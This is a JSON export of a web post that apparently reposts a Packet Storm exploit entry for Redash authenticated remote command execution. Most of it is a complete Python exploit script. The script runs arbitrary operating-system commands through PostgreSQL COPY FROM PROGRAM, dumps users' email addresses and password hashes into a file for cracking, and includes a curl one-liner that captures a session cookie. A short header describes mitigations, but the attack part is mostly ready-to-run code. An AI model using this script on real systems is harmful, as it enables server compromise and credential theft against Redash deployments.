{"id":30052,"date":"2025-12-10T12:52:19","date_gmt":"2025-12-10T12:52:19","guid":{"rendered":"http:\/\/localhost\/?p=30052"},"modified":"2025-12-10T12:52:19","modified_gmt":"2025-12-10T12:52:19","slug":"redash-authenticated-remote-command-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=30052","title":{"rendered":"\ud83d\udcc4 Redash Authenticated Remote Command Execution_PACKETSTORM:212672"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-10T17:37:21&#8243;,&#8221;description&#8221;:&#8221;Redash\u2019s default setup uses PostgreSQL superuser credentials for its primary data source. Because users can run SQL through Redash, any authenticated account gains excessive control over the database. This allows executing system commands on the&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-10T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-10T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Redash Authenticated Remote Command Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212672&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;#!\/usr\/bin\/env python3\\n    # -*- coding: UTF-8 -*-\\n    # redash_rce_hash.py\\n    #\\n    # Redash Authenticated Remote Command Execution\\n    #\\n    # Jeremy Brown (jbrown3264\/gmail), Dec 2025\\n    #\\n    # =Intro=\\n    #\\n    # Redash&#8217;s default configuration uses PostgreSQL superuser credentials for data source\\n    # connections. When combined with Redash&#8217;s intended SQL query execution capability,\\n    # this enables authenticated users to:\\n    #\\n    # 1. Execute arbitrary system commands on the database server via PostgreSQL&#8217;s\\n    #    COPY FROM PROGRAM command\\n    # 2. Extract password hashes from Redash&#8217;s internal users table via direct SQL queries\\n    #\\n    # The security issue comes from default configuration:\\n    # &#8211; Redash&#8217;s default setup uses PostgreSQL superuser credentials for data sources\\n    # &#8211; This grants high privileges to user-submitted queries\\n    # &#8211; Combined with lack of database isolation, users can access Redash&#8217;s auth tables\\n    #\\n    # The vulnerability requires:\\n    # &#8211; Authenticated user account on Redash\\n    # &#8211; Instance configuration with the default PostgreSQL data source (superuser by default)\\n    #\\n    # Repo and Version Tested\\n    # &#8211; https:\/\/github.com\/getredash\/redash\\n    # &#8211; redash\/redash:25.8.0 (docker image)\\n    #\\n    # =Usage=\\n    #\\n    # redash_rce_hash.py \\u003curl\\u003e \\u003ccookie_file\\u003e [&#8211;cmd \\u003ccommand\\u003e | &#8211;dump]\\n    #\\n    # Example: redash_rce_hash.py http:\/\/localhost:5000 cookie.txt &#8211;cmd \\&#8221;id\\&#8221;\\n    # Example: redash_rce_hash.py http:\/\/localhost:5000 cookie.txt &#8211;dump\\n    #\\n    # Get cookie from command line (requires user:pass in creds.txt):\\n    # $ IFS=: read user pass \\u003c creds.txt; curl -sk -c cookie.txt -b cookie.txt -X POST \\\\\\n    # http:\/\/localhost:5000\/login \\\\\\n    # -d \\&#8221;email=$user\\u0026password=$pass\\u0026csrf_token=$(curl -s -c cookie.txt http:\/\/localhost:5000\/login \\\\\\n    # | grep -oP &#8216;(?\\u003c=name=\\\\\\&#8221;csrf_token\\\\\\&#8221; value=\\\\\\&#8221;)[^\\\\\\&#8221;]*&#8217;)\\&#8221; \\u003e\/dev\/null 2\\u003e\\u00261\\n    #\\n    # =Testing=\\n    #\\n    # $ docker ps | grep redash\\n    # redash\/nginx:latest                     0.0.0.0:80-\\u003e80\/tcp, [::]:80-\\u003e80\/tcp           redash-nginx-1\\n    # redash\/redash:25.8.0                    5000\/tcp                                      redash-adhoc_worker-1\\n    # redash\/redash:25.8.0                    5000\/tcp                                      redash-scheduler-1\\n    # redash\/redash:25.8.0                    5000\/tcp                                      redash-scheduled_worker-1\\n    # redash\/redash:25.8.0                    5000\/tcp                                      redash-worker-1\\n    # redash\/redash:25.8.0                    0.0.0.0:5000-\\u003e5000\/tcp, [::]:5000-\\u003e5000\/tcp   redash-server-1\\n    # pgautoupgrade\/pgautoupgrade:17-alpine   5432\/tcp                                      redash-postgres-1\\n    # redis:7-alpine                          6379\/tcp                                      redash-redis-1\\n    #\\n    # $ .\/redash_rce_hash.py http:\/\/localhost:5000 cookie.txt &#8211;cmd \\&#8221;ps\\&#8221;\\n    # [*] Executing command: ps\\n    #\\n    # PID   USER     TIME  COMMAND\\n    #     1 root      0:00 bash \/usr\/local\/bin\/docker-entrypoint.sh postgres\\n    #     9 postgres  0:00 postgres\\n    #    31 postgres  0:00 postgres: checkpointer\\n    #    32 postgres  0:00 postgres: background writer\\n    #    34 postgres  0:00 postgres: walwriter\\n    #    35 postgres  0:00 postgres: autovacuum launcher\\n    #    36 postgres  0:00 postgres: logical replication launcher\\n    #   101 postgres  0:00 postgres: postgres postgres 172.18.0.5(52788) idle\\n    #   &#8230;..\\n    #   324 postgres  0:00 postgres: postgres postgres 172.18.0.6(54688) COPY\\n    #   325 postgres  0:00 postgres: postgres postgres 172.18.0.4(41116) authentication\\n    #   326 postgres  0:00 ps\\n    #\\n    # =Mitigation=\\n    #\\n    # Maintainers were responsive and decided not to make code changes as they view\\n    # it as a configuration issue rather than product vulnerability, as more secure\\n    # database configuration (vs default) may prevent exploitation.\\n    #\\n    # This may be mitigated by:\\n    # &#8211; Using non-superuser database credentials for data sources\\n    # &#8211; Revoking access to sensitive columns (e.g. password_hash) via column-level permissions\\n    # &#8211; Isolating Redash&#8217;s internal database from user-accessible data sources\\n    #\\n    \\n    import sys\\n    import time\\n    import hashlib\\n    import requests\\n    from http.cookiejar import MozillaCookieJar\\n    from urllib3.exceptions import InsecureRequestWarning\\n    \\n    requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)\\n    \\n    def load_cookies(path):\\n        jar = MozillaCookieJar()\\n        jar.load(path, ignore_discard=True, ignore_expires=True)\\n        return {c.name: c.value for c in jar}\\n    \\n    def normalize_url(url):\\n        url = url.rstrip(&#8216;\/&#8217;)\\n    \\n        if url.startswith(&#8216;http:\/\/&#8217;) or url.startswith(&#8216;https:\/\/&#8217;):\\n            return url\\n    \\n        for protocol in [&#8216;https:\/\/&#8217;, &#8216;http:\/\/&#8217;]:\\n            test_url = f\\&#8221;{protocol}{url}\\&#8221;\\n            try:\\n                resp = requests.head(test_url, verify=False, timeout=3)\\n                return test_url\\n            except:\\n                pass\\n    \\n        return f\\&#8221;http:\/\/{url}\\&#8221;\\n    \\n    def find_api_path(base_url, cookies):\\n        session = requests.Session()\\n        session.cookies.update(cookies)\\n    \\n        paths = [\\n            \\&#8221;\/api\/query_results\\&#8221;,\\n            \\&#8221;\/default\/api\/query_results\\&#8221;,\\n            \\&#8221;\/org\/api\/query_results\\&#8221;,\\n        ]\\n    \\n        for path in paths:\\n            url = f\\&#8221;{base_url}{path}\\&#8221;\\n            try:\\n                resp = session.post(url, json={\\&#8221;query\\&#8221;: \\&#8221;SELECT 1\\&#8221;, \\&#8221;data_source_id\\&#8221;: 1, \\&#8221;parameters\\&#8221;: {}}, verify=False, timeout=5)\\n                if resp.status_code in [200, 400]:\\n                    return path\\n            except:\\n                pass\\n    \\n        return paths[0]\\n    \\n    def execute_rce(base_url, cookies, command):\\n        session = requests.Session()\\n        session.cookies.update(cookies)\\n    \\n        api_path = find_api_path(base_url, cookies)\\n        endpoint = f\\&#8221;{base_url}{api_path}\\&#8221;\\n    \\n        table = f\\&#8221;rce_{hashlib.md5(command.encode()).hexdigest()[:8]}\\&#8221;\\n    \\n        payload = {\\n            \\&#8221;query\\&#8221;: f\\&#8221;CREATE UNLOGGED TABLE IF NOT EXISTS {table} AS SELECT &#8216;1&#8217; WHERE 1=0; COPY {table} FROM PROGRAM &#8216;{command}&#8217;; SELECT * FROM {table}\\&#8221;,\\n            \\&#8221;data_source_id\\&#8221;: 1,\\n            \\&#8221;parameters\\&#8221;: {}\\n        }\\n    \\n        resp = session.post(endpoint, json=payload, verify=False, timeout=30)\\n    \\n        if resp.status_code != 200:\\n            raise RuntimeError(f\\&#8221;Query submission failed: HTTP {resp.status_code} &#8211; check credentials \/ session expiration\\&#8221;)\\n    \\n        result = resp.json()\\n    \\n        # Handle synchronous response\\n        if &#8216;query_result&#8217; in result:\\n            rows = result[&#8216;query_result&#8217;][&#8216;data&#8217;][&#8216;rows&#8217;]\\n            return [row.get(&#8216;?column?&#8217;, &#8221;) for row in rows if row.get(&#8216;?column?&#8217;)]\\n    \\n        # Handle asynchronous response (poll job)\\n        job_id = result.get(&#8216;job&#8217;, {}).get(&#8216;id&#8217;)\\n        if not job_id:\\n            raise RuntimeError(f\\&#8221;Failed to submit query: {result}\\&#8221;)\\n    \\n        # Poll for completion\\n        deadline = time.time() + 60\\n        while time.time() \\u003c deadline:\\n            job_url = f\\&#8221;{base_url}\/api\/jobs\/{job_id}\\&#8221;\\n            job_resp = session.get(job_url, verify=False, timeout=15)\\n    \\n            if job_resp.status_code != 200:\\n                raise RuntimeError(f\\&#8221;Failed to poll job: HTTP {job_resp.status_code}\\&#8221;)\\n    \\n            job = job_resp.json().get(&#8216;job&#8217;, {})\\n    \\n            if job.get(&#8216;status&#8217;) == 3:  # Complete\\n                result_id = job.get(&#8216;query_result_id&#8217;)\\n                for res_path in [f\\&#8221;\/api\/query_results\/{result_id}\\&#8221;, f\\&#8221;\/default\/api\/query_results\/{result_id}\\&#8221;]:\\n                    try:\\n                        url = f\\&#8221;{base_url}{res_path}\\&#8221;\\n                        res = session.get(url, verify=False, timeout=30)\\n                        if res.status_code == 200:\\n                            rows = res.json()[&#8216;query_result&#8217;][&#8216;data&#8217;][&#8216;rows&#8217;]\\n                            return [row.get(&#8216;?column?&#8217;, &#8221;) for row in rows if row.get(&#8216;?column?&#8217;)]\\n                    except:\\n                        pass\\n                raise RuntimeError(\\&#8221;Could not fetch query results\\&#8221;)\\n    \\n            if job.get(&#8216;status&#8217;) == 4:  # Failed\\n                raise RuntimeError(f\\&#8221;Job failed: {job.get(&#8216;error&#8217;)}\\&#8221;)\\n    \\n            time.sleep(0.5)\\n    \\n        raise TimeoutError(\\&#8221;Job did not complete\\&#8221;)\\n    \\n    def extract_password_hashes(base_url, cookies):\\n        session = requests.Session()\\n        session.cookies.update(cookies)\\n    \\n        api_path = find_api_path(base_url, cookies)\\n        endpoint = f\\&#8221;{base_url}{api_path}\\&#8221;\\n    \\n        # SQL injection payload to extract email and password hash\\n        payload = {\\n            \\&#8221;query\\&#8221;: \\&#8221;SELECT email, password_hash FROM users\\&#8221;,\\n            \\&#8221;data_source_id\\&#8221;: 1,\\n            \\&#8221;parameters\\&#8221;: {}\\n        }\\n    \\n        resp = session.post(endpoint, json=payload, verify=False, timeout=30)\\n    \\n        if resp.status_code != 200:\\n            raise RuntimeError(f\\&#8221;Query submission failed: HTTP {resp.status_code} &#8211; check credentials \/ session expiration\\&#8221;)\\n    \\n        result = resp.json()\\n    \\n        # Handle synchronous response\\n        if &#8216;query_result&#8217; in result:\\n            rows = result[&#8216;query_result&#8217;][&#8216;data&#8217;][&#8216;rows&#8217;]\\n            hash_list = []\\n            for row in rows:\\n                email = row.get(&#8217;email&#8217;) or &#8221;\\n                password_hash = row.get(&#8216;password_hash&#8217;) or &#8221;\\n                if password_hash and password_hash.startswith(&#8216;$&#8217;) and email:\\n                    hash_list.append((email, password_hash))\\n            return hash_list\\n    \\n        # Handle asynchronous response (poll job)\\n        job_id = result.get(&#8216;job&#8217;, {}).get(&#8216;id&#8217;)\\n        if not job_id:\\n            raise RuntimeError(f\\&#8221;Failed to submit query: {result}\\&#8221;)\\n    \\n        # Poll for completion\\n        deadline = time.time() + 60\\n        while time.time() \\u003c deadline:\\n            job_url = f\\&#8221;{base_url}\/api\/jobs\/{job_id}\\&#8221;\\n            job_resp = session.get(job_url, verify=False, timeout=15)\\n    \\n            if job_resp.status_code != 200:\\n                raise RuntimeError(f\\&#8221;Failed to poll job: HTTP {job_resp.status_code}\\&#8221;)\\n    \\n            job = job_resp.json().get(&#8216;job&#8217;, {})\\n    \\n            if job.get(&#8216;status&#8217;) == 3:  # Complete\\n                result_id = job.get(&#8216;query_result_id&#8217;)\\n                for res_path in [f\\&#8221;\/api\/query_results\/{result_id}\\&#8221;, f\\&#8221;\/default\/api\/query_results\/{result_id}\\&#8221;]:\\n                    try:\\n                        url = f\\&#8221;{base_url}{res_path}\\&#8221;\\n                        res = session.get(url, verify=False, timeout=30)\\n                        if res.status_code == 200:\\n                            rows = res.json()[&#8216;query_result&#8217;][&#8216;data&#8217;][&#8216;rows&#8217;]\\n                            hash_list = []\\n                            for row in rows:\\n                                email = row.get(&#8217;email&#8217;) or &#8221;\\n                                password_hash = row.get(&#8216;password_hash&#8217;) or &#8221;\\n                                if password_hash and password_hash.startswith(&#8216;$&#8217;) and email:\\n                                    hash_list.append((email, password_hash))\\n                            return hash_list\\n                    except:\\n                        pass\\n                raise RuntimeError(\\&#8221;Could not fetch query results\\&#8221;)\\n    \\n            if job.get(&#8216;status&#8217;) == 4:  # Failed\\n                raise RuntimeError(f\\&#8221;Job failed: {job.get(&#8216;error&#8217;)}\\&#8221;)\\n    \\n            time.sleep(0.5)\\n    \\n        raise TimeoutError(\\&#8221;Job did not complete\\&#8221;)\\n    \\n    def main():\\n        if len(sys.argv) \\u003c 3:\\n            print(f\\&#8221;Usage: {sys.argv[0]} \\u003curl\\u003e \\u003ccookie_file\\u003e [&#8211;cmd \\u003ccommand\\u003e | &#8211;dump]\\&#8221;, file=sys.stderr)\\n            print(f\\&#8221;\\&#8221;, file=sys.stderr)\\n            print(f\\&#8221;Examples:\\&#8221;, file=sys.stderr)\\n            print(f\\&#8221;  {sys.argv[0]} http:\/\/localhost:5000 cookie.txt &#8211;cmd &#8216;id&#8217;\\&#8221;, file=sys.stderr)\\n            print(f\\&#8221;  {sys.argv[0]} http:\/\/localhost:5000 cookie.txt &#8211;dump\\&#8221;, file=sys.stderr)\\n            sys.exit(1)\\n    \\n        url, cookie_file = sys.argv[1], sys.argv[2]\\n    \\n        # Determine mode (default: &#8211;dump)\\n        mode = \\&#8221;&#8211;dump\\&#8221;\\n        command = None\\n    \\n        if len(sys.argv) \\u003e 3:\\n            if sys.argv[3] == \\&#8221;&#8211;cmd\\&#8221;:\\n                mode = \\&#8221;&#8211;cmd\\&#8221;\\n                if len(sys.argv) \\u003c 5:\\n                    print(\\&#8221;Error: &#8211;cmd requires a command argument\\&#8221;, file=sys.stderr)\\n                    sys.exit(1)\\n                command = sys.argv[4]\\n            elif sys.argv[3] == \\&#8221;&#8211;dump\\&#8221;:\\n                mode = \\&#8221;&#8211;dump\\&#8221;\\n            else:\\n                print(f\\&#8221;Error: Unknown option {sys.argv[3]}\\&#8221;, file=sys.stderr)\\n                sys.exit(1)\\n    \\n        try:\\n            url = normalize_url(url)\\n            cookies = load_cookies(cookie_file)\\n    \\n            if mode == \\&#8221;&#8211;cmd\\&#8221;:\\n                print(f\\&#8221;[*] Executing command: {command}\\\\n\\&#8221;, file=sys.stderr)\\n                output = execute_rce(url, cookies, command)\\n                for line in output:\\n                    print(line)\\n            else:  # &#8211;dump\\n                print(f\\&#8221;[*] Extracting password hashes&#8230;\\&#8221;, file=sys.stderr)\\n                hash_list = extract_password_hashes(url, cookies)\\n                print(f\\&#8221;[*] Found {len(hash_list)} password hashes\\\\n\\&#8221;, file=sys.stderr)\\n    \\n                if not hash_list:\\n                    print(\\&#8221;No password hashes found\\&#8221;, file=sys.stderr)\\n                    sys.exit(1)\\n    \\n                # Output format: email on one line, hash on next line\\n                # Also write just hashes to hashes.txt for hashcat\\n                with open(&#8216;hashes.txt&#8217;, &#8216;w&#8217;) as hash_file:\\n                    for email, password_hash in hash_list:\\n                        print(email)\\n                        print(password_hash + \\&#8221;\\\\n\\&#8221;)\\n                        hash_file.write(password_hash + &#8216;\\\\n&#8217;)\\n    \\n                print(f\\&#8221;[*] Hashes written to hashes.txt\\&#8221;, file=sys.stderr)\\n    \\n        except Exception as e:\\n            print(f\\&#8221;Error: {e}\\&#8221;, file=sys.stderr)\\n            sys.exit(1)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212672&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212672\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-10T17:37:21&#8243;,&#8221;description&#8221;:&#8221;Redash\u2019s default setup uses PostgreSQL superuser credentials for its primary data source. Because users can run SQL through Redash, any authenticated account gains excessive control&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-30052","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Redash Authenticated Remote Command Execution_PACKETSTORM:212672 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=30052\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Redash Authenticated Remote Command Execution_PACKETSTORM:212672 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-10T17:37:21&#8243;,&#8221;description&#8221;:&#8221;Redash\u2019s default setup uses PostgreSQL superuser credentials for its primary data source. Because users can run SQL through Redash, any authenticated account gains excessive control...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=30052\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-10T12:52:19+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30052#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30052\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Redash Authenticated Remote Command Execution_PACKETSTORM:212672\",\"datePublished\":\"2025-12-10T12:52:19+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30052\"},\"wordCount\":1981,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=30052#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30052\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30052\",\"name\":\"\ud83d\udcc4 Redash Authenticated Remote Command Execution_PACKETSTORM:212672 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-10T12:52:19+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30052#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=30052\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=30052#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Redash Authenticated Remote Command Execution_PACKETSTORM:212672\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Redash Authenticated Remote Command Execution_PACKETSTORM:212672 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=30052","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Redash Authenticated Remote Command Execution_PACKETSTORM:212672 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-10T17:37:21&#8243;,&#8221;description&#8221;:&#8221;Redash\u2019s default setup uses PostgreSQL superuser credentials for its primary data source. Because users can run SQL through Redash, any authenticated account gains excessive control...","og_url":"https:\/\/zero.redgem.net\/?p=30052","og_site_name":"zero redgem","article_published_time":"2025-12-10T12:52:19+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"10 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=30052#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=30052"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Redash Authenticated Remote Command Execution_PACKETSTORM:212672","datePublished":"2025-12-10T12:52:19+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=30052"},"wordCount":1981,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=30052#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=30052","url":"https:\/\/zero.redgem.net\/?p=30052","name":"\ud83d\udcc4 Redash Authenticated Remote Command Execution_PACKETSTORM:212672 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-10T12:52:19+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=30052#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=30052"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=30052#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Redash Authenticated Remote Command Execution_PACKETSTORM:212672"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero 